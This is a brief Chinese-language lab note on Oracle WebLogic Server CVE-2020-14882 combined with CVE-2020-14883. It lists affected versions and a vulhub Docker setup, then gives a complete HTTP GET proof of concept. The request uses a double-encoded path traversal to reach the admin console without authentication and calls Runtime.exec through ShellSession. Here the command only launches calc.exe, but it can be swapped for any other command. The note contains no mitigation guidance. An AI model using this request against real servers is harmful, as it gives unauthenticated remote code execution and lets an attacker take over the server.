Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）POC被公开，未经身份验证的远程攻击者通过构造特殊的 HTTP GET 请求，结合 CVE-2020-14883 漏洞进行利用，成功利用此漏洞的攻击者可在未经身份验证的情况下接管 WebLogic Server Console ，并执行任意代码

0x01 影响版本

1
2
3
4
5
6
7
8
9
Oracle Weblogic Server 10.3.6.0.0
 
Oracle Weblogic Server 12.1.3.0.0
 
Oracle Weblogic Server 12.2.1.3.0
 
Oracle Weblogic Server 12.2.1.4.0
 
Oracle Weblogic Server 14.1.1.0.0

0x02 环境搭建

使用vulhub快速搭建，版本12.2.1.3.0

1
docker-compose up -d

POC

1
2
3
4
5
6
7
8
9
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: url:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1

不知道为啥没弹出计算器，但是可以看到是执行成功了，如上

参考链接

https://www.cnblogs.com/potatsoSec/p/13895120.html